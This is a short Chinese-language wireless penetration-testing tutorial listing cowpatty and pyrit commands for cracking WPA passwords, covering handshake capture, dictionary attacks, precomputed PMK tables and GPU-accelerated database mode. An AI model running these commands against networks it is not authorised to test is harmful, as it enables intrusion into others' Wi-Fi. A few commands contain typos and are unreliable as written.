如果想深入学习无线安全，可以参考评论区第一条

无线渗透_COWPATTY破解密码

COWPATTY破解密码

  • WPA密码通用破解工具
  • 使用密码字段
  • cowpatty -r [.CAP包] -f [字典] -s [ssid]
  • 使用彩虹表（PMK）
genpmk -f 【字典】 -d pmkhash -s [ssid]
cowpatty -r [.cap包] -d pmkhash -s [ssid]

 

PYRIT破解密码

  • 与airolib、cowpatty相同，支持基于预计算的PMK提高破解速度
  • 独有的优势
    • 除CPU之外pyrit可以运用GPU的强大运算能力加速生成PMK
    • 本身支持抓包获取四步握手过程，无需用Airodump抓包
    • 也支持传统的读取airodump抓包获取四部握手的方式
  • 只抓取WAP四次握手过程包
    • pyrit -r wlan0mon -o wpapyrit.wap stripLive
    • pyrit -r wpapyrit.cap analyze #分析抓下来的包
  • 从airodump抓包导入并筛选
    • pyrit -r wap.cap -o wpapyrit.cap strip

 

  • 使用密码字典
pyrit -r wpapyrit.cap -i pass.ist -b <AP > attack passthrough

 

  • 数据库模式破解
    • 默认使用基于文件的数据库，支持连接SQL数据库，将计算的PMK存储数据库
    • 查看默认数据库状态：pyrit eval
    • 导入密码字典：pyrit -i password.lst import passwords (剔除了不合规的密码)
    • 指定ESSID：pyrit -e [无线名称] create essid
    • 计算PMK：pyrit batch（发挥GPU计算能力）
    • 破解密码：pyrit -r wpapyrit.cap -b <AP MAC> attack db
胜象大百科